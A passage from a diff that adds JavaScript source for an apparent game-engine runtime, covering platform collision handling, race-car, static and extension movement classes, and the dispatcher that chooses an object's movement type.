+ y = this.hoPtr.hoY;
+ if ((dir & CRun.BORDER_LEFT) != 0)
+ {
+ x = this.hoPtr.hoImgXSpot;
+ this.MP_XSpeed = 0;
+ this.MP_NoJump = true;
+ }
+ if ((dir & CRun.BORDER_RIGHT) != 0)
+ {
+ x = this.hoPtr.hoAdRunHeader.rhLevelSx - this.hoPtr.hoImgWidth + this.hoPtr.hoImgXSpot;
+ this.MP_XSpeed = 0;
+ this.MP_NoJump = true;
+ }
+ if ((dir & CRun.BORDER_TOP) != 0)
+ {
+ y = this.hoPtr.hoImgYSpot;
+ this.MP_YSpeed = 0;
+ this.MP_NoJump = false;
+ }
+ if ((dir & CRun.BORDER_BOTTOM) != 0)
+ {
+ y = this.hoPtr.hoAdRunHeader.rhLevelSy - this.hoPtr.hoImgHeight + this.hoPtr.hoImgYSpot;
+ this.MP_YSpeed = 0;
+ this.MP_NoJump = false;
+ }
+ this.hoPtr.hoX = x;
+ this.hoPtr.hoY = y;
+ if (this.MP_Type == CMovePlatform.MPTYPE_JUMP)
+ this.MP_Type = CMovePlatform.MPTYPE_FALL;
+ else
+ this.MP_Type = CMovePlatform.MPTYPE_WALK;
+ this.MP_JumpStopped = 0;
+ return;
+
+ case (-13 << 16): // CNDL_EXTCOLBACK:
+ case (-14 << 16): // CNDL_EXTCOLLISION:
+ this.MP_NoJump = false;
+ var pt = new CPoint();
+ if (this.MP_Type == CMovePlatform.MPTYPE_FALL)
+ {
+ this.mpApproachSprite(scrX, scrY, this.hoPtr.roc.rcOldX - this.hoPtr.hoAdRunHeader.rhWindowX, this.hoPtr.roc.rcOldY - this.hoPtr.hoAdRunHeader.rhWindowY, this.MP_HTFOOT, CRunFrame.CM_TEST_PLATFORM, pt);
+
+ this.hoPtr.hoX = pt.x + this.hoPtr.hoAdRunHeader.rhWindowX;
+ this.hoPtr.hoY = pt.y + this.hoPtr.hoAdRunHeader.rhWindowY;
+ this.MP_Type = CMovePlatform.MPTYPE_WALK;
+ this.hoPtr.roc.rcChanged = true;
+
+ if (this.tst_SpritePosition(this.hoPtr.hoX, this.hoPtr.hoY + 1, 0, CRunFrame.CM_TEST_PLATFORM, true))
+ {
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MP_XSpeed = 0;
+ }
+ else
+ {
+ this.MP_JumpStopped = 0;
+ this.hoPtr.roc.rcSpeed = Math.abs(this.MP_XSpeed / 256);
+ this.MP_YSpeed = 0;
+ }
+ return;
+ }
+ if (this.MP_Type == CMovePlatform.MPTYPE_WALK)
+ {
+ if (this.mpApproachSprite(scrX, scrY, scrX, scrY - this.MP_HTFOOT, 0, CRunFrame.CM_TEST_PLATFORM, pt))
+ {
+ this.hoPtr.hoX = pt.x + this.hoPtr.hoAdRunHeader.rhWindowX;
+ this.hoPtr.hoY = pt.y + this.hoPtr.hoAdRunHeader.rhWindowY;
+ this.hoPtr.roc.rcChanged = true;
+ return;
+ }
+ if (this.mpApproachSprite(scrX, scrY, this.hoPtr.roc.rcOldX - this.hoPtr.hoAdRunHeader.rhWindowX, this.hoPtr.roc.rcOldY - this.hoPtr.hoAdRunHeader.rhWindowY, 0, CRunFrame.CM_TEST_PLATFORM, pt))
+ {
+ this.hoPtr.hoX = pt.x + this.hoPtr.hoAdRunHeader.rhWindowX;
+ this.hoPtr.hoY = pt.y + this.hoPtr.hoAdRunHeader.rhWindowY;
+ this.hoPtr.roc.rcChanged = true;
+ this.mpStopIt();
+ return;
+ }
+ }
+ if (this.MP_Type == CMovePlatform.MPTYPE_JUMP)
+ {
+ if (this.mpApproachSprite(scrX, scrY, scrX, scrY - this.MP_HTFOOT, 0, CRunFrame.CM_TEST_PLATFORM, pt))
+ {
+ this.hoPtr.hoX = pt.x + this.hoPtr.hoAdRunHeader.rhWindowX;
+ this.hoPtr.hoY = pt.y + this.hoPtr.hoAdRunHeader.rhWindowY;
+ this.hoPtr.roc.rcChanged = true;
+ return;
+ }
+ this.MP_JumpStopped = 1;
+ this.MP_XSpeed = 0;
+ }
+ if (this.MP_Type == CMovePlatform.MPTYPE_CLIMB)
+ {
+ if (this.mpApproachSprite(scrX, scrY, this.hoPtr.roc.rcOldX - this.hoPtr.hoAdRunHeader.rhWindowX, this.hoPtr.roc.rcOldY - this.hoPtr.hoAdRunHeader.rhWindowY, 0, CRunFrame.CM_TEST_PLATFORM, pt))
+ {
+ this.hoPtr.hoX = pt.x + this.hoPtr.hoAdRunHeader.rhWindowX;
+ this.hoPtr.hoY = pt.y + this.hoPtr.hoAdRunHeader.rhWindowY;
+ this.hoPtr.roc.rcChanged = true;
+ this.mpStopIt();
+ return;
+ }
+ }
+ this.hoPtr.roc.rcImage = this.hoPtr.roc.rcOldImage;
+ this.hoPtr.roc.rcAngle = this.hoPtr.roc.rcOldAngle;
+ if (this.tst_SpritePosition(this.hoPtr.hoX, this.hoPtr.hoY, 0, CRunFrame.CM_TEST_PLATFORM, true))
+ return;
+
+ this.hoPtr.hoX = this.hoPtr.roc.rcOldX;
+ this.hoPtr.hoY = this.hoPtr.roc.rcOldY;
+ this.hoPtr.roc.rcChanged = true;
+ break;
+ }
+ },
+
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+
+ setSpeed: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 250) speed = 250;
+ if (speed > this.hoPtr.roc.rcMaxSpeed)
+ {
+ speed = this.hoPtr.roc.rcMaxSpeed;
+ }
+ this.hoPtr.roc.rcSpeed = speed;
+ this.MP_XSpeed = this.hoPtr.roc.rcSpeed * CMove.Cosinus32[this.hoPtr.hoAdRunHeader.getDir(this.hoPtr)];
+ this.MP_YSpeed = this.hoPtr.roc.rcSpeed * CMove.Sinus32[this.hoPtr.hoAdRunHeader.getDir(this.hoPtr)];
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+
+ setMaxSpeed: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 250) speed = 250;
+ this.hoPtr.roc.rcMaxSpeed = speed;
+ speed <<= 8;
+ if (this.MP_XSpeed > speed)
+ this.MP_XSpeed = speed;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+
+ setGravity: function (gravity)
+ {
+ this.MP_Gravity = gravity;
+ },
+
+ setDir: function (dir)
+ {
+ this.hoPtr.roc.rcDir = dir;
+ this.MP_XSpeed = this.hoPtr.roc.rcSpeed * CMove.Cosinus32[dir];
+ this.MP_YSpeed = this.hoPtr.roc.rcSpeed * CMove.Sinus32[dir];
+ },
+
+ calcMBFoot: function ()
+ {
+ var ifo;
+
+ if (this.hoPtr.roc.rcImage > 0)
+ ifo = this.hoPtr.hoAdRunHeader.rhApp.imageBank.getImageInfoEx(this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY);
+ else
+ {
+ ifo = new CImage();
+ ifo.width = this.hoPtr.hoImgWidth;
+ ifo.height = this.hoPtr.hoImgHeight;
+ ifo.xSpot = this.hoPtr.hoImgXSpot;
+ ifo.ySpot = this.hoPtr.hoImgYSpot;
+ }
+ this.MP_XMB = 0;
+ this.MP_YMB = ifo.height - ifo.ySpot;
+ this.MP_HTFOOT = ((ifo.height * 2) + ifo.height) >>> 3;
+ },
+
+ mpHandle_Background: function ()
+ {
+ this.calcMBFoot();
+ if (this.rhPtr.check_Ladder(this.hoPtr.hoLayer, this.hoPtr.hoX + this.MP_XMB, this.hoPtr.hoY + this.MP_YMB) != CRun.INTBAD)
+ return;
+
+ if (this.hoPtr.hoAdRunHeader.colMask_TestObject_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, this.hoPtr.hoX, this.hoPtr.hoY, 0, CRunFrame.CM_TEST_OBSTACLE) == false)
+ {
+ if (this.MP_Type == CMovePlatform.MPTYPE_JUMP && this.MP_YSpeed < 0)
+ return;
+
+ if (this.hoPtr.hoAdRunHeader.colMask_TestObject_IXY(this.hoPtr, this.hoPtr.roc.rcImage, this.hoPtr.roc.rcAngle, this.hoPtr.roc.rcScaleX, this.hoPtr.roc.rcScaleY, this.hoPtr.hoX, this.hoPtr.hoY, this.MP_HTFOOT, CRunFrame.CM_TEST_PLATFORM) == false)
+ return;
+ }
+ this.hoPtr.hoAdRunHeader.rhEvtProg.handle_Event(this.hoPtr, (-13 << 16) | (this.hoPtr.hoType & 0xFFFF));
+ }
+ });
+
+ // CMoveRace object
+ // -----------------------------------------------------------
+ CMoveRace.RaceMask =
+ [
+ 0xFFFFFFF8,
+ 0xFFFFFFFC,
+ 0xFFFFFFFE,
+ 0xFFFFFFFF
+ ];
+ function CMoveRace()
+ {
+ this.MR_Bounce = 0;
+ this.MR_BounceMu = 0;
+ this.MR_Speed = 0;
+ this.MR_RotSpeed = 0;
+ this.MR_RotCpt = 0;
+ this.MR_RotPos = 0;
+ this.MR_RotMask = 0;
+ this.MR_OkReverse = 0;
+ this.MR_OldJoy = 0;
+ this.MR_LastBounce = 0;
+ }
+ CMoveRace.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mrPtr)
+ {
+ this.hoPtr = ho;
+
+ this.MR_Speed = 0;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.MR_Bounce = 0;
+ this.MR_LastBounce = -1;
+ this.hoPtr.roc.rcPlayer = mrPtr.mvControl;
+ this.rmAcc = mrPtr.mrAcc;
+ this.rmAccValue = this.getAccelerator(mrPtr.mrAcc);
+ this.rmDec = mrPtr.mrDec;
+ this.rmDecValue = this.getAccelerator(mrPtr.mrDec);
+ this.hoPtr.roc.rcMaxSpeed = mrPtr.mrSpeed;
+ this.hoPtr.roc.rcMinSpeed = 0;
+ this.MR_BounceMu = mrPtr.mrBounceMult;
+ this.MR_OkReverse = mrPtr.mrOkReverse;
+ this.hoPtr.rom.rmReverse = 0;
+ this.rmOpt = mrPtr.mvOpt;
+ this.MR_OldJoy = 0;
+
+ this.MR_RotMask = CMoveRace.RaceMask[mrPtr.mrAngles];
+ this.MR_RotSpeed = mrPtr.mrRot;
+ this.MR_RotCpt = 0;
+ this.MR_RotPos = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr);
+ this.hoPtr.hoCalculX = 0;
+ this.hoPtr.hoCalculY = 0;
+ this.moveAtStart(mrPtr);
+
+ this.hoPtr.roc.rcChanged = true;
+ },
+
+ move: function ()
+ {
+ var j;
+ var add, accel, speed, dir, speed8;
+ var dSpeed;
+
+ this.hoPtr.hoAdRunHeader.rhVBLObjet = 1;
+
+ if (this.MR_Bounce == 0)
+ {
+ this.hoPtr.rom.rmBouncing = false;
+
+ j = this.hoPtr.hoAdRunHeader.rhPlayer[this.hoPtr.roc.rcPlayer - 1] & 0x0F;
+
+ add = 0;
+ if ((j & 0x08) != 0)
+ add = -1;
+ if ((j & 0x04) != 0)
+ add = 1;
+ if (add != 0)
+ {
+ dSpeed = this.MR_RotSpeed;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ this.MR_RotCpt += dSpeed;
+ while (this.MR_RotCpt > 100)
+ {
+ this.MR_RotCpt -= 100;
+ this.MR_RotPos += add;
+ this.MR_RotPos &= 31;
+ this.hoPtr.roc.rcDir = this.MR_RotPos & this.MR_RotMask;
+ }
+ ;
+ this.hoPtr.roc.rcChanged = true;
+ }
+
+ accel = 0;
+ if (this.hoPtr.rom.rmReverse != 0)
+ {
+ if ((j & 0x01) != 0)
+ accel = 1;
+ if ((j & 0x02) != 0)
+ accel = 2;
+ }
+ else
+ {
+ if ((j & 0x01) != 0)
+ accel = 2;
+ if ((j & 0x02) != 0)
+ accel = 1;
+ }
+ speed = this.MR_Speed;
+ while (true)
+ {
+ if ((accel & 1) != 0)
+ {
+ if (this.MR_Speed == 0)
+ {
+ if (this.MR_OkReverse == 0)
+ break;
+ if ((this.MR_OldJoy & 0x03) != 0)
+ break;
+ this.hoPtr.rom.rmReverse ^= 1;
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ speed += dSpeed;
+ speed8 = speed >> 8;
+ if (speed8 > this.hoPtr.roc.rcMaxSpeed)
+ {
+ speed = this.hoPtr.roc.rcMaxSpeed << 8;
+ this.MR_Speed = speed;
+ }
+ this.MR_Speed = speed;
+ break;
+ }
+ dSpeed = this.rmDecValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ speed -= dSpeed;
+ if (speed < 0)
+ speed = 0;
+ this.MR_Speed = speed;
+ }
+ else if ((accel & 2) != 0)
+ {
+ dSpeed = this.rmAccValue;
+ if ((this.hoPtr.hoAdRunHeader.rhFrame.leFlags & CRunFrame.LEF_TIMEDMVTS) != 0)
+ dSpeed = dSpeed * this.hoPtr.hoAdRunHeader.rh4MvtTimerCoef;
+ speed += dSpeed;
+ speed8 = speed >> 8;
+ if (speed8 > this.hoPtr.roc.rcMaxSpeed)
+ {
+ speed = this.hoPtr.roc.rcMaxSpeed << 8;
+ this.MR_Speed = speed;
+ }
+ this.MR_Speed = speed;
+ }
+ break;
+ }
+ ;
+ this.MR_OldJoy = j;
+
+ this.hoPtr.roc.rcSpeed = this.MR_Speed >> 8;
+ this.hoPtr.roc.rcAnim = CAnim.ANIMID_WALK;
+ if (this.hoPtr.roa != null)
+ this.hoPtr.roa.animate();
+
+ dir = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr);
+ if (this.hoPtr.rom.rmReverse != 0)
+ {
+ dir += 16;
+ dir &= 31;
+ }
+ if (this.newMake_Move(this.hoPtr.roc.rcSpeed, dir) == false)
+ {
+ return;
+ }
+ }
+ do
+ {
+ if (this.MR_Bounce == 0)
+ break;
+ if (this.hoPtr.hoAdRunHeader.rhVBLObjet == 0)
+ break;
+ speed = this.MR_Speed;
+ speed -= this.rmDecValue;
+ if (speed <= 0)
+ {
+ this.MR_Speed = 0;
+ this.MR_Bounce = 0;
+ break;
+ }
+ this.MR_Speed = speed;
+ speed >>= 8;
+ dir = this.hoPtr.hoAdRunHeader.getDir(this.hoPtr);
+ if (this.MR_Bounce != 0)
+ {
+ dir += 16;
+ dir &= 31;
+ }
+ if (this.newMake_Move(speed, dir) == false)
+ break;
+ } while (true);
+ },
+
+ reverse: function ()
+ {
+ },
+
+ stop: function ()
+ {
+ this.MR_Bounce = 0;
+ this.MR_Speed = 0;
+ this.hoPtr.rom.rmReverse = 0;
+ if (this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mv_Approach((this.rmOpt & CMove.MVTOPT_8DIR_STICK) != 0);
+ this.hoPtr.rom.rmMoveFlag = true;
+ }
+ },
+ start: function ()
+ {
+ this.rmStopSpeed = 0;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ bounce: function ()
+ {
+ if (this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount)
+ {
+ this.mv_Approach((this.rmOpt & CMove.MVTOPT_8DIR_STICK) != 0);
+ }
+ if (this.hoPtr.hoAdRunHeader.rhLoopCount != this.MR_LastBounce)
+ {
+ this.MR_Bounce = this.hoPtr.rom.rmReverse;
+ this.hoPtr.rom.rmReverse = 0;
+ this.MR_Bounce++;
+ if (this.MR_Bounce >= 16)
+ {
+ this.stop();
+ return;
+ }
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.rom.rmBouncing = true;
+ }
+ },
+
+ setSpeed: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 250) speed = 250;
+ if (speed > this.hoPtr.roc.rcMaxSpeed)
+ speed = this.hoPtr.roc.rcMaxSpeed;
+ speed <<= 8;
+ this.MR_Speed = speed;
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+ setMaxSpeed: function (speed)
+ {
+ if (speed < 0) speed = 0;
+ if (speed > 250) speed = 250;
+ this.hoPtr.roc.rcMaxSpeed = speed;
+ speed <<= 8;
+ if (this.MR_Speed > speed)
+ {
+ this.MR_Speed = speed;
+ }
+ this.hoPtr.rom.rmMoveFlag = true;
+ },
+
+ setRotSpeed: function (speed)
+ {
+ this.MR_RotSpeed = speed;
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+
+ setDir: function (dir)
+ {
+ this.MR_RotPos = dir;
+ this.hoPtr.roc.rcDir = dir & this.MR_RotMask;
+ }
+ });
+
+ // CMoveStatic object
+ // -----------------------------------------------------------
+ function CMoveStatic()
+ {
+ }
+ CMoveStatic.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mvPtr)
+ {
+ this.hoPtr = ho;
+ this.hoPtr.roc.rcSpeed = 0;
+ this.hoPtr.roc.rcCheckCollides = true;
+ this.hoPtr.roc.rcChanged = true;
+ },
+ move: function ()
+ {
+ if (this.hoPtr.roa != null)
+ {
+ if (this.hoPtr.roa.animate())
+ {
+ //return; Removed in build 291, see bug #4750
+ }
+ }
+ if (this.hoPtr.roc.rcCheckCollides)
+ {
+ this.hoPtr.roc.rcCheckCollides = false;
+ this.hoPtr.hoAdRunHeader.newHandle_Collisions(this.hoPtr);
+ }
+ },
+ setXPosition: function (x)
+ {
+ if (this.hoPtr.hoX != x)
+ {
+ this.hoPtr.hoX = x;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ }
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+ setYPosition: function (y)
+ {
+ if (this.hoPtr.hoY != y)
+ {
+ this.hoPtr.hoY = y;
+ this.hoPtr.rom.rmMoveFlag = true;
+ this.hoPtr.roc.rcChanged = true;
+ }
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+ setDir: function (dir)
+ {
+ },
+ reverse: function (dir)
+ {
+ },
+ stop: function ()
+ {
+ },
+ start: function ()
+ {
+ },
+ bounce: function ()
+ {
+ },
+ setSpeed: function (speed)
+ {
+ },
+ setMaxSpeed: function (speed)
+ {
+ }
+ });
+
+ // CMoveExtension object
+ // -----------------------------------------------------------
+ function CMoveExtension(m)
+ {
+ this.movement = m;
+ this.callParam = 0;
+ }
+ CMoveExtension.prototype = CServices.extend(new CMove(),
+ {
+ init: function (ho, mvPtr)
+ {
+ this.hoPtr = ho;
+
+ var file = ho.hoAdRunHeader.rhApp.file.createFromFile(mvPtr.data);
+ this.movement.initialize(file);
+ this.hoPtr.roc.rcCheckCollides = true;
+ this.hoPtr.roc.rcChanged = true;
+ },
+ kill: function ()
+ {
+ this.movement.kill();
+ },
+ move: function ()
+ {
+ /* // FRANCOIS
+ if (typeof this.movement == 'undefined')
+ {
+ debugger;
+ return;
+ }
+ */
+ if (this.movement.move())
+ {
+ this.hoPtr.roc.rcChanged = true;
+ }
+ },
+ stop: function ()
+ {
+ this.movement.stop(this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount);
+ },
+ start: function ()
+ {
+ this.movement.start();
+ },
+ bounce: function ()
+ {
+ this.movement.bounce(this.rmCollisionCount == this.hoPtr.hoAdRunHeader.rh3CollisionCount);
+ },
+ setSpeed: function (speed)
+ {
+ this.movement.setSpeed(speed);
+ },
+ setMaxSpeed: function (speed)
+ {
+ this.movement.setMaxSpeed(speed);
+ },
+ reverse: function ()
+ {
+ this.movement.reverse();
+ },
+ setXPosition: function (x)
+ {
+ this.movement.setXPosition(x);
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+ setYPosition: function (y)
+ {
+ this.movement.setYPosition(y);
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+ setDir: function (dir)
+ {
+ this.movement.setDir(dir);
+ this.hoPtr.roc.rcChanged = true;
+ this.hoPtr.roc.rcCheckCollides = true;
+ },
+ callMovement: function (func, param)
+ {
+ this.callParam = param;
+ return this.movement.actionEntry(func);
+ }
+ });
+
+ // CRunMvtExtension object
+ // ---------------------------------------------------------------
+
+ function CRunMvtExtension()
+ {
+ this.ho = null;
+ this.rh = null;
+ }
+ CRunMvtExtension.prototype =
+ {
+ init: function (hoPtr)
+ {
+ this.ho = hoPtr;
+ this.rh = this.ho.hoAdRunHeader;
+ },
+
+ initialize: function (file)
+ {
+ },
+
+ kill: function ()
+ {
+ },
+
+ move: function ()
+ {
+ return false;
+ },
+
+ setPosition: function (x, y)
+ {
+ },
+
+ setXPosition: function (x)
+ {
+ },
+
+ setYPosition: function (y)
+ {
+ },
+
+ stop: function (bCurrent)
+ {
+ },
+
+ bounce: function (bCurrent)
+ {
+ },
+
+ reverse: function ()
+ {
+ },
+
+ start: function ()
+ {
+ },
+
+ setSpeed: function (speed)
+ {
+ },
+
+ setMaxSpeed: function (speed)
+ {
+ },
+
+ setDir: function (dir)
+ {
+ },
+
+ setAcc: function (acc)
+ {
+ },
+
+ setDec: function (dec)
+ {
+ },
+
+ setRotSpeed: function (speed)
+ {
+ },
+
+ set8Dirs: function (dirs)
+ {
+ },
+
+ setGravity: function (gravity)
+ {
+ },
+
+ extension: function (func, param)
+ {
+ return 0;
+ },
+
+ actionEntry: function (action)
+ {
+ return 0;
+ },
+
+ getSpeed: function ()
+ {
+ return 0;
+ },
+
+ getAcceleration: function ()
+ {
+ return 0;
+ },
+
+ getDeceleration: function ()
+ {
+ return 0;
+ },
+
+ getGravity: function ()
+ {
+ return 0;
+ },
+ getDir: function ()
+ {
+ return this.ho.roc.rcDir;
+ },
+ dirAtStart: function (dir)
+ {
+ return this.ho.rom.dirAtStart(this.ho, dir, 32);
+ },
+
+ animations: function (anm)
+ {
+ this.ho.roc.rcAnim = anm;
+ if (this.ho.roa != null)
+ {
+ this.ho.roa.animate();
+ }
+ },
+
+ collisions: function ()
+ {
+ this.ho.hoAdRunHeader.rh3CollisionCount++;
+ this.ho.rom.rmMovement.rmCollisionCount = this.ho.hoAdRunHeader.rh3CollisionCount;
+ this.ho.hoAdRunHeader.newHandle_Collisions(this.ho);
+ },
+
+ approachObject: function (destX, destY, originX, originY, htFoot, planCol, ptDest)
+ {
+ destX -= this.ho.hoAdRunHeader.rhWindowX;
+ destY -= this.ho.hoAdRunHeader.rhWindowY;
+ originX -= this.ho.hoAdRunHeader.rhWindowX;
+ originY -= this.ho.hoAdRunHeader.rhWindowY;
+ var bRet = this.ho.rom.rmMovement.mpApproachSprite(destX, destY, originX, originY, htFoot, planCol, ptDest);
+ ptDest.x += this.ho.hoAdRunHeader.rhWindowX;
+ ptDest.y += this.ho.hoAdRunHeader.rhWindowY;
+ return bRet;
+ },
+
+ moveIt: function ()
+ {
+ return this.ho.rom.rmMovement.newMake_Move(this.ho.roc.rcSpeed, this.ho.hoAdRunHeader.getDir(this.ho));
+ },
+
+ testPosition: function (x, y, htFoot, planCol, flag)
+ {
+ return this.ho.rom.rmMovement.tst_SpritePosition(x, y, htFoot, planCol, flag);
+ },
+
+ getJoystick: function (player)
+ {
+ return this.ho.hoAdRunHeader.rhPlayer[player];
+ },
+
+ colMaskTestRect: function (x, y, sx, sy, layer, plan)
+ {
+ return !this.ho.hoAdRunHeader.colMask_Test_Rect(x, y, sx, sy, layer, plan);
+ },
+
+ colMaskTestPoint: function (x, y, layer, plan)
+ {
+ return !this.ho.hoAdRunHeader.colMask_Test_XY(x, y, layer, plan);
+ },
+
+ getParamDouble: function ()
+ {
+ return this.ho.rom.rmMovement.callParam;
+ },
+
+ getParam: function ()
+ {
+ return this.ho.rom.rmMovement.callParam;
+ }
+
+ }
+
+ // CRMvt object
+ // ---------------------------------------------------------------
+ CRMvt.EF_GOESINPLAYFIELD = 0x0001;
+ CRMvt.EF_GOESOUTPLAYFIELD = 0x0002;
+ CRMvt.EF_WRAP = 0x0004;
+ function CRMvt()
+ {
+ this.rmObject = null;
+ this.rmMvtNum = 0;
+ this.rmMovement = null;
+ this.rmWrapping = 0;
+ this.rmMoveFlag = false;
+ this.rmReverse = 0;
+ this.rmBouncing = false;
+ this.rmEventFlags = 0;
+ }
+ CRMvt.prototype =
+ {
+ init: function (nMove, hoPtr, ocPtr, cob, forcedType)
+ {
+ this.rmObject = hoPtr;
+
+ if (this.rmMovement != null)
+ this.rmMovement.kill();
+
+ if (cob != null)
+ {
+ hoPtr.roc.rcDir = cob.cobDir;
+ }
+ this.rmWrapping = hoPtr.hoOiList.oilWrap;
+
+ var mvPtr = null;
+ hoPtr.roc.rcMovementType = -1;
+ if (ocPtr.ocMovements != null)
+ {
+ if (nMove < ocPtr.ocMovements.nMovements)
+ {
+ mvPtr = ocPtr.ocMovements.moveList[nMove];
+ this.rmMvtNum = nMove;
+ if (forcedType == -1)
+ {
+ forcedType = mvPtr.mvType;
+ }
+ hoPtr.roc.rcMovementType = forcedType;
+ switch (forcedType)
+ {
+ case 0:
+ this.rmMovement = new CMoveStatic();
+ break;
+ case 1:
+ this.rmMovement = new CMoveMouse();
+ break;
+ case 2:
+ this.rmMovement = new CMoveRace();
+ break;
+ case 3:
+ this.rmMovement = new CMoveGeneric();
+ break;
+ case 4:
+ this.rmMovement = new CMoveBall();
+ break;
+ case 5:
+ this.rmMovement = new CMovePath();
+ break;
+ case 9:
+ this.rmMovement = new CMovePlatform();
+ break;
+ case 14:
+ this.rmMovement = this.loadMvtExtension(hoPtr, mvPtr);
+ if (this.rmMovement == null)
+ this.rmMovement = new CMoveStatic();
+ break;
+ }
+ hoPtr.roc.rcDir = this.dirAtStart(hoPtr, mvPtr.mvDirAtStart, hoPtr.roc.rcDir);
+ this.rmMovement.init(hoPtr, mvPtr);
+ }
+ }
+ if (hoPtr.roc.rcMovementType == -1)
+ {
+ hoPtr.roc.rcMovementType = 0;
+ this.rmMovement = new CMoveStatic();
+ this.rmMovement.init(hoPtr, null);
+ hoPtr.roc.rcDir = 0;
+ }
+ },
+ loadMvtExtension: function (hoPtr, mvDef)
+ {
+ var extName = mvDef.moduleName;
+ /*
+ var index = extName.indexOf('-');
+ while (index > 0)
+ {
+ extName = extName.substring(0, index) + '_' + extName.substring(index+1, extName.length);
+ index = extName.indexOf('-');
+ }
+ */
+ var object = null;
+
+ // STARTCUT
+ // ENDCUT
+
+ /*
+ if (document.debug==undefined)
+ {
+ if (!CRMvt.types[extName])
+ {
+ var extFile = new CFile();
+ extFile.openFile(document.srcPath + extName+ '.js');
+ (new Function(extFile.ccfBytes)).call(CRMvt.types);
+ }
+ var type = CRMvt.types[extName];
+ if (type)
+ object=new type;
+ }
+ else
+ {
+ object=new window['CRunMvt' + extName];
+ }
+ */
+ if (object != null)
+ {
+ object.init(hoPtr);
+ var mvExt = new CMoveExtension(object);
+ return mvExt;
+ }
+ return null;
+ },
+
+ initSimple: function (hoPtr, forcedType, bRestore)
+ {
+ this.rmObject = hoPtr;
+
+ if (this.rmMovement != null)
+ this.rmMovement.kill();
+
+ hoPtr.roc.rcMovementType = forcedType;
+ switch (forcedType)
+ {
+ case 11:
+ this.rmMovement = new CMoveDisappear();
+ break;
+ case 13:
+ this.rmMovement = new CMoveBullet();
+ break;
+ }
+ this.rmMovement.hoPtr = hoPtr;
+ if (bRestore == false)
+ {
+ this.rmMovement.init(hoPtr, null);
+ }
+ },
+
+ kill: function (bFast)
+ {
+ this.rmMovement.kill();
+ },
+
+ move: function ()
+ {
+ this.rmMovement.move();
+ },
+
+ nextMovement: function (hoPtr)
+ {
+ var ocPtr = hoPtr.hoCommon;
+ if (ocPtr.ocMovements != null)
+ {
+ if (this.rmMvtNum + 1 < ocPtr.ocMovements.nMovements)
+ {
+ this.init(this.rmMvtNum + 1, hoPtr, ocPtr, null, -1);
+ var pMovement = hoPtr.hoAdRunHeader.GetMBase(hoPtr);
+ if (pMovement)
+ pMovement.CreateBody();
+ }
+ }
+ },
+ previousMovement: function (hoPtr)
+ {
+ var ocPtr = hoPtr.hoCommon;
+ if (ocPtr.ocMovements != null)
+ {
+ if (this.rmMvtNum - 1 >= 0)
+ {
+ this.init(this.rmMvtNum - 1, hoPtr, ocPtr, null, -1);
+ var pMovement = hoPtr.hoAdRunHeader.GetMBase(hoPtr);
+ if (pMovement)
+ pMovement.CreateBody();
+ }
+ }
+ },
+ selectMovement: function (hoPtr, mvt)
+ {
+ var ocPtr = hoPtr.hoCommon;
+ if (ocPtr.ocMovements != null)
+ {
+ if (mvt >= 0 && mvt < ocPtr.ocMovements.nMovements)
+ {
+ this.init(mvt, hoPtr, ocPtr, null, -1);
